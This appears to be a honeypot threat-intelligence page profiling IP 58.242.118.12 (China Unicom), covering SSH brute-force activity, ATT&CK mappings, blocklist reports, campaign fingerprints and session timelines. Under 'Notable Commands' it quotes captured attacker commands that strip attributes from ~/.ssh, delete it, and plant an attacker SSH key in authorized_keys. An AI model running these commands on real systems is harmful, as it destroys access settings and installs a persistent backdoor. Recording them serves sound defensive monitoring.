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58.242.118.12

TAGGED SUSPICIOUS how we decide →

Threat Confidence

69%

Location

🇨🇳 CN

ASN

AS4837 · CHINA UNICOM China169 Backbone

Cloud Provider

—

Total Events

Above average by volume

Agent Count

First / Last Seen

2026-08-11 03:02 — 2026-09-01 00:54

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1016 T1046 T1082

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-09-01 10:01

blocklist_de:reported

DShield Top Attackers

Reported 2026-09-01 06:01

dshield:top_attacker

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (412 IPs, 64 countries) HASSH Active high 🇨🇳 CN

412 IPs 483889 events

ssh:bruteforce

2026-02-25 — ongoing · 412 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …

AS4837 CHINA UNICOM China169 Backbone ASN Active medium 🇨🇳 CN

16 IPs 3035 events

ssh:bruteforce

2026-02-16 — ongoing · 16 IPs from the same network (CHINA UNICOM China169 Backbone, AS4837) were active during overlapping time periods. Temporal …

Session Forensics

scanner ×4 reconnaissance ×2 malware_dropper ×2 credential_probe ×8 opportunistic_bruter ×1

Sessions

17 (5 with login)

Avg Depth Score

0.35

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Malware Dropper 9e29bbaebede newark_01 · 2026-09-01 00:49

3 1 1 100%

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Scanner 28ba3e150363 newark_01 · 2026-09-01 00:49

15%

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Reconnaissance 3b11c77bd7e3 newark_01 · 2026-09-01 00:45

2 1 60%

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Opportunistic Bruter ff4cb1646ef0 newark_01 · 2026-09-01 00:45

1 50%

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Credential Probe 8d56f7874ea2 newark_01 · 2026-09-01 00:42

1 20%

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Credential Probe b0e4ecc3cefc newark_01 · 2026-09-01 00:38

1 20%

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Malware Dropper 0b8c84f70751 newark_01 · 2026-09-01 00:35

3 1 1 100%

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Credential Probe 94a4eab95a56 newark_01 · 2026-09-01 00:39

1 20%

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Scanner 9ffba3a8e78d newark_01 · 2026-09-01 00:35

15%

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Credential Probe 1f1569b94050 newark_01 · 2026-09-01 00:32

1 20%

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Credential Probe 503e93a2a9e2 newark_01 · 2026-09-01 00:28

1 20%

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Reconnaissance 4f086c46ca83 newark_01 · 2026-09-01 00:23

2 1 60%

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Credential Probe 2cad1d432a64 newark_01 · 2026-09-01 00:22

1 20%

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Credential Probe 26c354b608f2 newark_01 · 2026-09-01 00:19

1 20%

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Credential Probe 457c857fdded newark_01 · 2026-09-01 00:18

1 20%

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Scanner 15a52cc91b5d w4m_singapore_01 · 2026-08-15 06:06

15%

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Scanner 0d1837801e32 w4m_singapore_01 · 2026-08-11 03:02

15%

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